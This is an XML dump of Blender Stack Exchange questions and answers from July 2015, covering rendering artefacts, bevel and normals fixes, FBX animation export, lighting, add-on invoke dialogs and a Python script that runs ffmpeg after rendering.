  <row Id="34059" PostTypeId="2" ParentId="408" CreationDate="2015-07-15T23:34:27.143" Score="10" Body="&lt;p&gt;Blend4Web can do most of the work for you. It exports Blender models correctly and also sets up the WebGL page. It's free and open source.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blend4web.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blend4web.com/en/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;June 2020 - blend4web does not appear to support the current version of Blender (v2.82)  It is not clear whether this product is even still available after it was reworked to support Maya and other environments,&lt;/p&gt;&#xA;" OwnerUserId="1390" LastEditorUserId="-1" LastEditDate="2020-06-21T08:33:43.353" LastActivityDate="2020-06-21T08:33:43.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="34060" PostTypeId="2" ParentId="33356" CreationDate="2015-07-16T00:47:58.240" Score="2" Body="&lt;p&gt;Your problem is that you have not specified any attributes for the two attribute nodes to access.  The one controlling the scatter and adsorption should be using the &lt;code&gt;density&lt;/code&gt;, this means that the &lt;em&gt;fac&lt;/em&gt; output will be carrying the density voxel (volume-pixel) data of the smoke simulation.  Similarly the node controlling the emission shader should be using the &lt;code&gt;flame&lt;/code&gt; attribute (I presume that the emission shader is for the flames).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VzcPI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VzcPI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-07-16T00:47:58.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34061" PostTypeId="2" ParentId="34054" CreationDate="2015-07-16T00:55:02.053" Score="2" Body="&lt;p&gt;Here's a solution to launch ffmpeg automatically following Blender's completion of rendering out an image sequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;bpy.ops.render.render(animation=True)&#xA;&#xA;ffmpegPath = &quot;YOUR-PATH-TO-FFMPEG-APP&quot;&#xA;&#xA;imgPath = &quot;YOUR-PATH-TO-IMAGE-OUTPUT-FOLDER&quot;&#xA;&#xA;#frame filename format assuming &quot;0001.png&quot;&#xA;imgNamePattern = &quot;%04d.png&quot;&#xA;vidOut = &quot;test.avi&quot;&#xA;vCodec = &quot;mpeg4&quot;&#xA;&#xA;ffmCMD = ffmpegPath &#xA;ffmCMD += &quot; -start_number 1 -i &quot; &#xA;ffmCMD += imgPath + imgNamePattern &#xA;ffmCMD += &quot; -vcodec &quot; + vCodec + &quot; &quot; &#xA;ffmCMD += imgPath + vidOut&#xA;&#xA;print(&quot;launching ffmpeg&quot;)&#xA;os.system(ffmCMD)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-16T00:55:02.053" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34062" PostTypeId="1" CreationDate="2015-07-16T02:05:34.697" Score="3" ViewCount="970" Body="&lt;p&gt;I'm trying to make a curved indent. I did one side, but when I try to select and bevel the other side, it doesn't bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selected edge&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UaoiD.png&quot; alt=&quot;Selected edge&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bevel applied&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OUhi2.png&quot; alt=&quot;Bevel applied&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my file if it's helpful: &lt;a href=&quot;https://drive.google.com/file/d/0B3TF2HeeQRyWWkpVeVV5Vmc3T28/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B3TF2HeeQRyWWkpVeVV5Vmc3T28/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15400" LastActivityDate="2015-07-16T02:09:50.150" Title="Bevel works on one side but not the other" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34063" PostTypeId="2" ParentId="34062" CreationDate="2015-07-16T02:09:50.150" Score="3" Body="&lt;p&gt;Aand I found the answer by looking up a separate question I had (why were my planes different colors):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The normals weren't consistent, so I guess it was trying to bevel on the reverse side. I selected the whole model and used Make Normals Consistent, and then beveling works fine.&lt;/p&gt;&#xA;" OwnerUserId="15400" LastActivityDate="2015-07-16T02:09:50.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34064" PostTypeId="1" CreationDate="2015-07-16T02:17:15.047" Score="1" ViewCount="58" Body="&lt;p&gt;I'm on an iMac using an Apple wireless keyboard and a Magic Mouse. I'm trying to remap buttons so that I can Move the 3D view left, right, up, and down with Shift Command Click&amp;amp;Drag. This is what I tried to customize in the Input tab of User Preferences:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mpa4R.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;That doesn't work, even though I managed to remap zooming with Shift Click&amp;amp;Drag pretty much the same way:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eBo81.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="15400" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-16T03:49:36.427" Title="How can I remap to Shift Command Click&amp;Drag?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;shortcut&gt;&lt;osx&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34065" PostTypeId="1" CreationDate="2015-07-16T03:36:08.487" Score="0" ViewCount="181" Body="&lt;p&gt;i was searching online tips to speed up the time of rendering, and i've found one screenshot which is like this &lt;img src=&quot;https://i.stack.imgur.com/eLSNR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but in my case there is no option of GPU in the compute device section, have a look at my screenshot &#xA;&lt;img src=&quot;https://i.stack.imgur.com/Zdl5A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;am i missing any hardware ?&lt;/p&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2015-07-16T03:36:08.487" Title="how to enable GPU option in user preferences" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-07-16T03:46:15.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="34066" PostTypeId="1" CreationDate="2015-07-16T04:15:28.593" Score="5" ViewCount="3594" Body="&lt;p&gt;When i try to make my intro, my blender keeps on rendering and then when it's done, it starts all over repeatedly. I waited a while and it keeps on doing the same thing for like an hour.&lt;/p&gt;&#xA;" OwnerUserId="15688" LastActivityDate="2021-02-22T08:21:06.037" Title="Blender won't finish rendering" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34067" PostTypeId="2" ParentId="33162" CreationDate="2015-07-16T04:47:24.673" Score="2" Body="&lt;p&gt;I think I may have sorted this now using &lt;code&gt;Vector.project&lt;/code&gt;.  For the script to work one would need to create a 2 vertex edge and call it &lt;code&gt;line&lt;/code&gt; as well as adding an empty that is renamed &lt;code&gt;empty&lt;/code&gt; (not &lt;code&gt;Empty&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;empty = bpy.data.objects[&quot;empty&quot;]&#xA;line = bpy.data.objects[&quot;line&quot;]&#xA;&#xA;mw = line.matrix_world&#xA;ev = empty.location&#xA;&#xA;# get the two line points in world space&#xA;lv0 = mw * line.data.vertices[0].co&#xA;lv1 = mw * line.data.vertices[1].co&#xA;&#xA;# get the vector of the line&#xA;lv = (lv0 - lv1)&#xA;&#xA;# get the translation between the original line and the line vector&#xA;# and apply that to the empty location to get the location of the &#xA;# empty relative to the line vector&#xA;evt = Matrix.Translation(lv - lv0) * ev&#xA;&#xA;# get the projection of the new empty location onto the line vector&#xA;# - `project` gets the perpendicular vector where `evt` intersects `lv`&#xA;evp = evt.project(lv)&#xA;&#xA;# get the translation between the projected vector and the empty&#xA;tm = Matrix.Translation(evp - evt).inverted()&#xA;&#xA;# now move the line&#xA;line.location = tm * line.location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have created a simple &lt;a href=&quot;https://github.com/eben-roux/blender-addons/tree/master/move_line_to_empty&quot; rel=&quot;nofollow&quot;&gt;add-on on GitHub&lt;/a&gt; to demonstrate the behaviour.&lt;/p&gt;&#xA;" OwnerUserId="11249" LastActivityDate="2015-07-16T04:47:24.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34068" PostTypeId="2" ParentId="34039" CreationDate="2015-07-16T05:01:14.113" Score="1" Body="&lt;p&gt;With just about anything one can do in Blender, including modeling and animating, there is often more than one way to reach the same end. This is as true of animations as it is of anything else, and means that there is not really a good answer to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how to &quot;properly&quot; animate something in Blender&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;because how one proceeds with the animation depends upon not only what is being animated, but how what is to be animated is made, and how it will be used in the scene, to name just three considerations. You haven't provided any of that in the original question. You also don't provide any images of what you want animated, and what you want the animation to do, and how you want it to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My sense is that maybe you are trying something beyond your current skillset. There is nothing wrong with that, but this is not the place to enhance your skillset directly. If I were you, before trying to animate the object, I'd visit &lt;a href=&quot;https://blender.stackexchange.com/questions/15355/&quot;&gt;question&lt;/a&gt;, check under &quot;online courses&quot;, and consider working through one or both of these. I think this will give you a good foundation towards what you want to do.  &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-07-16T08:24:54.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34069" PostTypeId="2" ParentId="34056" CreationDate="2015-07-16T06:10:47.320" Score="2" Body="&lt;p&gt;Image texures are not critical you can simply copy the files to the exported .fbx and assign them in your target software. In Unity e.g. you would simply drag and drop them to your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender does export animations, make sure that you haved ticked all options in the fbx-export panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put all actions on a single NLA-track, this shows the NLA editor with all actions I wanted to export:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ERdO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I left a gap between the actions otherwise the last frame overlaps with the first frame of the following actions. Also I avoided inverse kinematics since baking currently seems to have issues. (Can't bake single actions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vxz0m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importing in Unity proves that it works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sVlmY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-16T06:10:47.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34071" PostTypeId="1" CreationDate="2015-07-16T07:39:35.653" Score="3" ViewCount="542" Body="&lt;p&gt;Is it possible to animate textures and then control them with a bone or empty? I want to animate eye textures blinking and looking in different directions etc. by of course drawing the frames. is there a way to control them like shape keys with bones and drivers?&lt;/p&gt;&#xA;" OwnerUserId="15689" LastEditorUserId="3401" LastEditDate="2015-07-16T08:27:25.650" LastActivityDate="2016-08-11T13:50:35.263" Title="How to animate textures in blender internal and control them" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;texturing&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34072" PostTypeId="1" AcceptedAnswerId="34076" CreationDate="2015-07-16T07:49:11.573" Score="3" ViewCount="656" Body="&lt;p&gt;I'd like to create an addon, which has some properties and a button. The addon should only does the scene modification when the button is clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently my addon is placed into the specials menu of the curve. When I select it, its properties are displayed on the side panel and its execute() method is executed immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have a button under the properties on the side panel and to do the scene modification only when the button is clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find an example for this use case?&lt;/p&gt;&#xA;" OwnerUserId="15667" LastEditorUserId="47" LastEditDate="2015-07-16T08:52:37.087" LastActivityDate="2015-07-16T09:16:48.270" Title="Addon: run execute() only when button is clicked" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34073" PostTypeId="2" ParentId="31958" CreationDate="2015-07-16T07:58:41.440" Score="1" Body="&lt;p&gt;Don't ask me why but flipping the sphere's normals seems to solve the problem.&lt;br&gt;&#xA;&quot;Normal&quot; normals :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/agikc.jpg&quot; alt=&quot;normal&quot;&gt;&lt;br&gt;&#xA;Flipped normals :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jQ22C.jpg&quot; alt=&quot;flip&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-07-16T07:58:41.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34074" PostTypeId="1" AcceptedAnswerId="34097" CreationDate="2015-07-16T08:20:19.683" Score="5" ViewCount="1409" Body="&lt;p&gt;This is my Minecraft Animation. It is made in Blender Internal and is intended to be rendered in Blender Internal. The animation consists of me running infront of Minecraft trees. These trees are mapped with UV textures of Minecraft Leaves with alpha turned on so that the leaves are transparent in places. The Animation starts at frame 8 and ends at 40. &lt;strong&gt;This is not a case Z fighting.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I render the animation I get square alpha (sometimes black pixel) artefacts in the render. Every frame has diffrent result but still has the artefacts. This is what it looks like. The white is the alpha. Open in a new tab for closer inspection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/No1ym.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said some frames have this problem and some don't&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I1oZR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one has AA disabled. This makes the alpha only one pixel each. (Open in new tab to see individual pixels)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7g1qd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem does not occur in the rendered mode viewport.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0exxF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leaves' Material Settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCc1n.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mSdhk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leaves' Texture Settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ca5wk.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Jn4a5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I decided to restrict the leaves from render and this is the result I have. Pretty ugly. Also added, glare and vector nodes just fyi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mruTQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then decided to remove the wood as well and now this happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EbeDI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now there's black and alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AziFm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to a &lt;a href=&quot;https://youtu.be/rmg8IxhC3rA&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt; showing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on here! Is this blend file corrupted? Please if you know the answer or what causes this please mention this down below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And because you asked here a stripped down version of the file: &lt;a href=&quot;https://www.dropbox.com/s/4q5qfsmjv7umtbh/Stripped%20Down.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/4q5qfsmjv7umtbh/Stripped%20Down.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2874" LastEditorUserId="2874" LastEditDate="2015-07-16T13:15:10.140" LastActivityDate="2015-07-17T08:29:28.667" Title="Cause of Alpha or Black Artefacts in Render" Tags="&lt;animation&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34076" PostTypeId="2" ParentId="34072" CreationDate="2015-07-16T09:16:48.270" Score="4" Body="&lt;p&gt;You can also add an invoke method and call &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.types.WindowManager.html?highlight=types.wind#bpy.types.WindowManager.invoke_props_dialog&quot; rel=&quot;nofollow&quot;&gt;WindowManager.invoke_props_dialog&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def invoke(self, context, event):&#xA;    return context.window_manager.invoke_props_dialog(self)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-07-16T09:16:48.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34077" PostTypeId="1" AcceptedAnswerId="34086" CreationDate="2015-07-16T09:26:59.573" Score="1" ViewCount="199" Body="&lt;p&gt;Further to my previous question (&lt;a href=&quot;https://blender.stackexchange.com/questions/33978/print-number-and-index-of-selected-lines-in-text-editor&quot;&gt;print number and index of selected lines in text editor&lt;/a&gt;), i'd like to know if it's possible to detect if characters are selected in text editor.&lt;/p&gt;&#xA;" OwnerUserId="11582" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-16T16:35:19.587" Title="Detect if characters are selected in text editor" Tags="&lt;python&gt;&lt;scripting&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34078" PostTypeId="1" AcceptedAnswerId="34088" CreationDate="2015-07-16T12:56:00.513" Score="0" ViewCount="853" Body="&lt;p&gt;I added a mesh and made into a ceiling, in Blender. I applied some color to it, but when I render, the mesh is just black; the other objects are fine and have color. How do I fix this? I tried deleting it and inserting it again or copy-pasting the other objects but it still turns black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/356/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=356&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/avk9c.png&quot; alt=&quot;The ceiling is black :(&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-07-16T16:52:48.960" Title="Why is my mesh black when rendering?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34079" PostTypeId="1" CreationDate="2015-07-16T13:10:03.753" Score="2" ViewCount="638" Body="&lt;h2&gt;&lt;strong&gt;My problem:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have a rigged character as an asset of a master-scene in its own .blend-file. The asset.blend contains the character and its animations. To make use of my character and its animations in the master-scene I link the Character and make its armature a proxy one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows me to access different actions from the action editor and it will always be updated if I ever want to add some more animations to the character or some changes to the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, since I want multiple instances of my linked character, I tried to copy and paste my armature and the mesh. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I expected&lt;/strong&gt; to have another character (a sheep to be exact) with an individual armature that can have different actions selected.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What happens is&lt;/strong&gt; that both meshes are only controlled by the second instance of the armature&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Iw5I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Is there a work-arround or is it possible at all?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I created a demo project for you, so you can try it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B89oIuOBdiu0TzJKbDgtVUNhX0U/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download .blend-files (ZIP)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="11431" LastEditDate="2015-07-17T09:01:09.367" LastActivityDate="2015-07-17T12:28:27.617" Title="Can't duplicate a proxy armature with mesh" Tags="&lt;animation&gt;&lt;armature&gt;&lt;linked-data&gt;&lt;instances&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="34080" PostTypeId="2" ParentId="33162" CreationDate="2015-07-16T13:50:45.140" Score="0" Body="&lt;p&gt;I disagree. Select the edge you want in edit mode, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;&gt; &lt;em&gt;Hook to a New Object&lt;/em&gt; and it will create an empty and use its position for the edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Noted the purpose was something different. I'm still not sure you need to do this as a script. Take a look at the curve deformer.&lt;/p&gt;&#xA;" OwnerUserId="15696" LastEditorUserId="241" LastEditDate="2015-07-16T14:13:17.060" LastActivityDate="2015-07-16T14:13:17.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34081" PostTypeId="1" AcceptedAnswerId="34084" CreationDate="2015-07-16T14:19:45.153" Score="0" ViewCount="5098" Body="&lt;p&gt;This is what I made, multiple boxes (the default box), default camera and lamps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7gwuC.png&quot; alt=&quot;viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I render, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RwaYq.png&quot; alt=&quot;render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct me if I'm wrong, but shouldn't I see the different boxes? Is it normal that the shadows are so dark that they hide all edges?&lt;/p&gt;&#xA;" OwnerUserId="15698" LastEditorUserId="241" LastEditDate="2015-07-16T17:51:54.353" LastActivityDate="2015-07-16T17:51:54.353" Title="Too dark shadows" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34082" PostTypeId="2" ParentId="34066" CreationDate="2015-07-16T14:29:59.540" Score="5" Body="&lt;p&gt;As said by &lt;a href=&quot;https://blender.stackexchange.com/users/11431/bithur&quot;&gt;Bithur&lt;/a&gt; in the comments, it is quite possible that you are rendering an animation. Stop the current render with the &lt;kbd&gt;Escape&lt;/kbd&gt; key. Then press &lt;kbd&gt;F12&lt;/kbd&gt; (make sure that you don't press &lt;kbd&gt;Control&lt;/kbd&gt;+&lt;kbd&gt;F12&lt;/kbd&gt; by accident!), or go to &lt;code&gt;Render&lt;/code&gt; -&gt; &lt;code&gt;Render Image&lt;/code&gt; from the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mnnRQ.png&quot; alt=&quot;Toolbar (image)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it continues to do the same, go into the render settings and make sure that &lt;code&gt;Sampled motion blur&lt;/code&gt; is &lt;strong&gt;un&lt;/strong&gt;checked. If even this doesn't help make the render finish, uncheck &lt;code&gt;Anti-Aliasing&lt;/code&gt; (I am not really sure this will help, but you can try...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XmwUv.png&quot; alt=&quot;Annotations (image)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15699" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-07-16T14:47:39.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34083" PostTypeId="2" ParentId="34078" CreationDate="2015-07-16T14:51:07.593" Score="0" Body="&lt;p&gt;To me it looks like you are using point lights, and the celling mesh is way too high up to get affected by them (quite possible if you are using the position of the 3D cursor to create it). To fix either move the celling down, or change its material to an unshaded one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason for this to happen might be that you are using a material with a black color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's all I can think of right now. If you post a .blend file that has the same issue, maybe you will get a better answer than mine...&lt;/p&gt;&#xA;" OwnerUserId="15699" LastActivityDate="2015-07-16T14:51:07.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34084" PostTypeId="2" ParentId="34081" CreationDate="2015-07-16T15:00:32.430" Score="2" Body="&lt;p&gt;The problem is that you don't have enough lamps at the right positions (as said in the comments by someonewithpc and PGmath). You can fix this in various ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Just keep adding/duplicating more point lamps, and spread them around.&lt;/li&gt;&#xA;&lt;li&gt;Keep only one lamp, and set its mode to Sun.&lt;/li&gt;&#xA;&lt;li&gt;Have two lamps, one of them a Sun lamp (like in #2), and the other one a Hemi light. Then set the energy of the hemi light to ~0.2, and the energy of the sun light to ~0.8. That way you will illuminate all the faces (so no pure black), and will have shadows. (&lt;strong&gt;Note&lt;/strong&gt;: If you add lights from the 'Create' menu, then you will have no shadows by default. Enable them by scrolling down, and selecting 'Ray Shadow' (only present on the Sun light))&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVd3g.png&quot; alt=&quot;Image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15699" LastEditorUserId="241" LastEditDate="2015-07-16T16:32:09.260" LastActivityDate="2015-07-16T16:32:09.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34085" PostTypeId="2" ParentId="30778" CreationDate="2015-07-16T15:11:22.800" Score="1" Body="&lt;p&gt;You need to use the &lt;em&gt;Exclude&lt;/em&gt; boxes for this. Go to &lt;em&gt;Properties &gt; Render Layers&lt;/em&gt; and make sure all the layers including the objects you do not want to have render on that layer are selected in the &lt;em&gt;Exclude&lt;/em&gt; portion. This will basically do the same thing as hiding it, but for that render layer only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hMZqq.png&quot; alt=&quot;Exclude Layers From Renderlayer&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-07-16T15:11:22.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
